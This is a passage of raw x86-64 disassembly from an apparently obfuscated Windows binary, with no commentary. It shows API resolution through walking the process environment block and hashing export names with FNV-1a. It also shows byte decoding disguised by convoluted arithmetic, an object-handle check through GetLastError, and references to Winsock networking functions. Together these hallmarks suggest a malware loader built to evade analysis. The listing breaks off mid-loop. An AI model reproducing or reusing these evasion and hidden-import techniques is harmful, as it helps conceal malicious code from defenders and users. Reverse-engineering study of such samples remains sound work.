movabs rax, 0x7239860053ed9f0a
add rax, r9
mov r8b, dl
and dl, al
add dl, dl
sub al, dl
lea ebx, [r8 + rax]
sub bl, 0x46
lea edx, [r9 - 0x1e]
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x2e
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x500], al
add r11, r14
add rax, r11
sub r9, rax
mov ecx, 8
add ecx, r9d
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x38
add r8b, cl
mov byte [rbp + r9 + 0x500], r8b
add rdi, r14
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14010d3a9
movabs rcx, 0xc61cbb6ff65d672
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x1e
movzx eax, byte [rbp + r9 + 0x500]
add rax, r11
add r9, rax
add r9, r14
jmp 0x14010ca9d
sub r9b, 0x42
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
sub bl, 0x32
jmp 0x14010ca9a
add r9b, 0x72
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
sub bl, 0x1e
jmp 0x14010ca8a
lea rax, [rbp + 0x14eb688]
jmp 0x14010d40f
lea rax, [rbp + 0xb0a8ae]
jmp 0x14010d40f
lea rax, [rbp + 0x500]
mov qword [rbp - 0x18], rax
lea rax, [rbp - 0x18]
mov qword [rbp + 0x40], rax
lea rax, [rbp - 0x10]
mov qword [rbp + 0x48], rax
movaps xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rsp + 0x60], xmm0
mov r8, rsi
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x598]
call fcn.1400dd15c
nop
mov r12, qword [rbp + 0x598]
mov qword [rsp + 0x60], r12
mov rax, qword [rbp + 0x5a0]
mov qword [rbp - 0x40], rax
cmp r12, rax
je 0x14010eb5b
mov r13b, byte [rsp + 0x50]
mov qword [rbp - 0x68], r13
mov r9, qword [0x14017c668]
xor edx, edx
test r9, r9
jne 0x14010d5e3
mov esi, edx
mov r14d, 0x1d8d369c
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010d4e5
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14010d4d6
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14010d4c7
cmp edx, esi
jne 0x14010d5c2
xor edx, edx
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14010d5c4
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14010d5c4
mov ebx, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x14010d539
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010d52e
cmp edx, r14d
je 0x14010d551
xor edx, edx
test r9d, r9d
jne 0x14010d519
jmp 0x14010d5c4
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x14010d5dc
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x14010d5dc
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r9]
cmp al, 0x2e
je 0x14010d59f
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, rcx
jmp 0x14010d588
add r9, rcx
xor edx, edx
jmp 0x14010d5b6
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, rcx
mov al, byte [r9]
test al, al
jne 0x14010d5a6
mov rdi, qword [r15]
jmp 0x14010d5c4
xor edx, edx
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14010d5d9
cmp qword [rax + 0x30], rdx
jne 0x14010d49c
mov r9, rdx
mov qword [0x14017c668], r9
mov r8, qword [r12]
xor edx, edx
mov ecx, 0x1f0003
call r9
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 6
jne 0x14010eb42
mov byte [rbp + 0xf0], 0x66
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf1], xmm0
mov word [rbp + 0x101], ax
xor r12d, r12d
call fcn.140158170
mov rbx, qword [rax]
call fcn.140158178
mov r10, qword [rax]
mov r9, r12
mov r11d, 1
cmp r9, 0x13
jae 0x14010de87
movzx r8d, byte [rbp + r9 + 0xf0]
mov edx, r8d
cmp rbx, r9
ja 0x14010de7e
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14010d684
movabs rcx, 0x352ddab4aac75631
add rcx, r9
mov rax, rcx
and rax, rdx
imul r13, rax, 0xfffffffffffffffe
add r13, rcx
add r13, rdx
sub r13b, 0x57
jmp 0x14010d81a
je 0x14010de18
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14010ddcc
lea rax, [r10 + 5]
cmp rbx, rax
je 0x14010dda4
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14010dd87
lea rax, [r10 + 4]
cmp rbx, rax
je 0x14010dd6d
cmp r10, r9
ja 0x14010de75
lea rax, [r10 + 0x28]
cmp rbx, rax
jae 0x14010d6eb
lea ecx, [r9 + 5]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x23
mov qword [rbp - 0x68], r13
jmp 0x14010d72c
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14010dd2f
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14010dd18
lea rax, [r10 + 6]
cmp rbx, rax
je 0x14010dcfe
lea rax, [r10 + 4]
cmp rbx, rax
je 0x14010dcb6
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14010dc9c
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x14010d941
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x14010d924
lea rax, [r10 + 9]
cmp rbx, rax
je 0x14010d90a
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x14010d8f0
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14010d8d3
lea rax, [r10 + 0x10]
cmp rbx, rax
je 0x14010d739
mov rbx, rax
lea r10, [rax + 0x10]
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x14010de55
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x14010d805
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x14010d8b9
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x14010d893
mov rbx, rax
lea r10, [rax + 5]
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x14010d874
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x14010d857
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x14010d83d
lea rax, [r10 + 8]
cmp rbx, rax
ja 0x14010d823
lea rax, [r10 + 0x80]
cmp rbx, rax
ja 0x14010d739
mov rbx, rax
lea r10, [rax + 0x80]
jmp 0x14010d739
lea ecx, [r9 + 0x39]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
add r13b, 0x71
mov qword [rbp - 0x68], r13
jmp 0x14010d6be
lea ecx, [r9 - 0x3a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x6a
jmp 0x14010dd82
lea ecx, [r9 - 0x60]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x60
jmp 0x14010ddb9
lea ecx, [r9 - 0x24]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 4
mov r11b, r9b
jmp 0x14010dcce
lea edx, [r9 + 0x18]
mov ecx, Ordinal_45
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x14010de34
lea ecx, [r9 + 0x23]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
add r13b, 0xb
mov qword [rbp - 0x68], r13
mov byte [rbp + r9 + 0xf0], r13b
jmp 0x14010de4d
lea ecx, [r9 - 3]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
add r13b, 0x15
jmp 0x14010d963
mov r11b, r9b
lea ecx, [r11 + 0x5a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x76
jmp 0x14010dcce
lea ecx, [r9 - 0x6a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x1a
jmp 0x14010ddb9
lea ecx, [r9 + 0x70]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x10
jmp 0x14010dd82
lea ecx, [r9 + 0xe]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x62
mov r11b, r9b
jmp 0x14010dd47
lea rax, [r10 + 0x41]
cmp rbx, rax
jae 0x14010da00
lea ecx, [r9 + 0x31]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x57
mov qword [rbp - 0x68], r13
lea rax, [r10 + rbx]
cmp rax, 0xa
je 0x14010dc7a
lea rax, [r10 + 0xa]
cmp rbx, rax
jbe 0x14010dacd
lea ecx, [r9 - 0x53]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
add r13b, 0x45
mov qword [rbp - 0x68], r13
cmp rbx, 0x1000
jae 0x14010dc31
lea rax, [r10 + 0x1000]
cmp rbx, rax
jbe 0x14010db66
lea edx, [r9 - 0x4e]
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
mov qword [rbp - 0x68], r13
cmp r10, 6
jb 0x14010d8ac
mov r11b, r9b
lea ecx, [r11 - 0x7a]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea r13d, [rcx*2 - 0x54]
jmp 0x14010dd47
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14010da23
lea ecx, [r9 + 0xa]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x46
jmp 0x14010de34
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14010da4b
lea edx, [r9 + 0x6c]
mov al, dl
and al, r8b
mov ecx, 6
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x14010ddea
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14010da76
mov r11b, r9b
lea edx, [r11 - 0x32]
mov ecx, Ordinal_50
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x14010dcce
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14010da9e
lea edx, [r9 - 0x6e]
mov al, dl
and al, r8b
mov ecx, 1
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x14010ddb9
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x14010d967
mov r11b, r9b
lea edx, [r11 + 0x1a]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x14010dd47
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14010daf3
mov r11b, r9b
lea ecx, [r11 + 0xf]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x69
jmp 0x14010dd47
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14010db16
lea ecx, [r9 - 0x2d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
add r13b, 0x3b
jmp 0x14010dd9c
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14010db3c
lea ecx, [r9 + 0x35]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x73
mov r11b, r9b
jmp 0x14010dc54
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14010d99b
mov r11b, r9b
lea ecx, [r11 + 0x5b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x7d
jmp 0x14010dcce
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14010db7d
lea edx, [r9 + 0x14]
mov ecx, Ordinal_60
jmp 0x14010d87d
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14010db97
mov r11b, r9b
lea edx, [r11 - 0x28]
mov ecx, ntohs
jmp 0x14010da60
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14010dbba
lea ecx, [r9 - 0x64]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x44
jmp 0x14010ddb9
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14010dbe2
mov r11b, r9b
lea edx, [r11 - 2]
mov al, dl
and al, r8b
mov ecx, 7
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x14010dc54
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14010dc0a
lea edx, [r9 + 0x60]
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x14010dd9c
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x14010d9d6
lea ecx, [r9 - 0x3e]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x4e
jmp 0x14010dd82
mov r11b, r9b
lea edx, [r11 - 0x18]
mov al, dl
and al, r8b
add al, al
mov r13b, byte [rbp + r9 + 0xf0]
sub r13b, al
sub r13b, 0x58
add r13b, r8b
add r13b, dl
add r11b, 0x19
mov al, r11b
and al, r8b
add al, al
sub r11b, al
add r11b, 0x51
add r11b, r13b
add r11b, r8b
mov byte [rbp + r9 + 0xf0], r11b
jmp 0x14010ddb9
mov r11b, r9b
lea ecx, [r11 + 0x4a]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0xf0]
lea r13d, [r8 + rcx]
sub r13b, 6
jmp 0x14010dcce
lea ecx, [r9 + 0x15]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
add r13b, 0x6d
jmp 0x14010ddea
mov r11b, r9b
lea ecx, [r11 - 0x4d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
add r13b, 0x1b
add r11b, 0x7b
mov al, r11b
and al, r8b
add al, al
sub r11b, al
sub r11b, 0x5d
add r11b, r8b
movzx eax, r11b
mov byte [rbp + r9 + 0xf0], al
inc r10
add rax, r10
sub r9, rax
jmp 0x14010ddea
lea ecx, [r9 + 0x51]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x37
jmp 0x14010ddbc
lea ecx, [r9 + 0x2b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x2d
jmp 0x14010dd9c
mov r11b, r9b
lea ecx, [r11 + 0x67]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
add r13b, 0x2f
sub r11b, 0x49
mov al, r11b
and al, r8b
add al, al
sub r11b, al
sub r11b, 1
add r11b, r8b
mov byte [rbp + r9 + 0xf0], r11b
mov r11d, 1
jmp 0x14010dd82
lea ecx, [r9 + 0x41]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
add r13b, 0x39
add r10, r11
jmp 0x14010dd9c
lea ecx, [r9 - 0x21]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x19
sub r9, r11
jmp 0x14010de49
lea ecx, [r9 + 0x1b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
add r13b, 0x43
add rbx, r10
movzx eax, r13b
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14010de43
movabs rcx, 0x9e5458755e4aef5
add rcx, r9
and dl, cl
add dl, dl
mov r13b, r8b
sub r13b, dl
add r13b, 0x4d
add r13b, cl
lea edx, [r9 - 0x54]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0xf0], cl
inc rbx
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x14010de34
movabs rax, 0x9f89901e00560293
add rax, r9
and dl, al
add dl, dl
sub r8b, dl
lea r13d, [rax + r8]
sub r13b, 5
movzx eax, byte [rbp + r9 + 0xf0]
add rax, r10
add r9, rax
mov r11d, 1
mov qword [rbp - 0x68], r13
add r9, r11
jmp 0x14010d636
add r9b, 0x13
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea r13d, [r8 + r9]
add r13b, 0x7b
mov qword [rbp - 0x68], r13
jmp 0x14010d61d
lea rdx, [rbp + 0x16de9dc]
jmp 0x14010de8e
lea rdx, [rbp + 0x75400d]
jmp 0x14010de8e
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0xd0]
call fcn.140051148
mov rcx, rax
call fcn.140146738
mov rdx, qword [0x14017c650]
test rdx, rdx
jne 0x14010e00f
mov esi, r12d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
lea r13d, [rdx + 8]
movups xmm0, xmmword [rcx + 0x58]
movd eax, xmm0
sub ax, r13w
test esi, esi
je 0x14010df1b
psrldq xmm0, 8
movq rdx, xmm0
movzx eax, ax
shr rax, 1
lea r9, [rdx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14010df0d
movsx eax, byte [rdx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x14010defc
cmp r8d, esi
jne 0x14010dffc
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14010dffc
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x14010dffc
mov edi, dword [r11 + 0x20]
mov r15d, 1
dec ebx
lea r8, [r10 + rbx*4]
mov r9d, dword [r8 + rdi]
add r9, r10
mov r8d, 0x811c9dc5
jmp 0x14010df76
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r15
test dl, dl
jne 0x14010df69
cmp r8d, r14d
je 0x14010df8b
test ebx, ebx
jne 0x14010df54
jmp 0x14010dffc
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r11
jbe 0x14010e004
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x14010e004
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov rcx, r15
mov al, byte [rdx]
cmp al, 0x2e
je 0x14010dfe2
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x14010dfbf
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x14010dfd5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x14010ded0
mov qword [0x14017c650], rdx
mov r13, qword [rbp - 0x68]
mov ecx, 0x99
call rdx
mov rbx, qword [0x14017c6f0]
test rbx, rbx
jne 0x14010e17c
mov esi, r12d
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010e08d
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14010e080
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14010e071
cmp edx, esi
jne 0x14010e15d
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14010e15d
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14010e15d
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [rbx + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14010e0e1
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010e0d6
cmp edx, r14d
je 0x14010e0f7
test r11d, r11d
jne 0x14010e0c1
jmp 0x14010e15d
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x14010e175
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x14010e175
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rbx]
cmp al, 0x2e
je 0x14010e151
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, rcx
jmp 0x14010e12e
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, rcx
mov al, byte [rbx]
test al, al
jne 0x14010e144
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14010e172
cmp qword [rax + 0x30], r12
jne 0x14010e046
mov rbx, r12
mov qword [0x14017c6f0], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x14017c6e8]
test rdx, rdx
jne 0x14010e2ef
mov esi, r12d
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010e200
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14010e1f3
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14010e1e4
cmp edx, esi
jne 0x14010e2d0
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14010e2d0
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14010e2d0
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [rbx + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14010e254
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010e249
cmp edx, r14d
je 0x14010e26a
test r11d, r11d
jne 0x14010e234
jmp 0x14010e2d0
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14010e2e8
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14010e2e8
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x14010e2c4
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x14010e2a1
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x14010e2b7
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14010e2e5
cmp qword [rax + 0x30], r12
jne 0x14010e1b9
mov rdx, r12
mov qword [0x14017c6e8], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14017c6e0]
test rdx, rdx
jne 0x14010e459
mov esi, r12d
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010e36a
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14010e35d
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14010e34e
cmp edx, esi
jne 0x14010e43a
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14010e43a
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14010e43a
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [rbx + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14010e3be
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010e3b3
cmp edx, r14d
je 0x14010e3d4
test r11d, r11d
jne 0x14010e39e
jmp 0x14010e43a
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14010e452
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14010e452
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x14010e42e
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x14010e40b
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x14010e421
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14010e44f
cmp qword [rax + 0x30], r12
jne 0x14010e323
mov rdx, r12
mov qword [0x14017c6e0], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14017c6d8]
test rdx, rdx
jne 0x14010e5c3
mov esi, r12d
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010e4d4
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14010e4c7
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14010e4b8
cmp edx, esi
jne 0x14010e5a4
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14010e5a4
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14010e5a4
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rbx]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14010e528
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010e51d
cmp edx, r14d
je 0x14010e53e
test r11d, r11d
jne 0x14010e508
jmp 0x14010e5a4
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14010e5bc
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14010e5bc
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x14010e598
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x14010e575
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x14010e58b
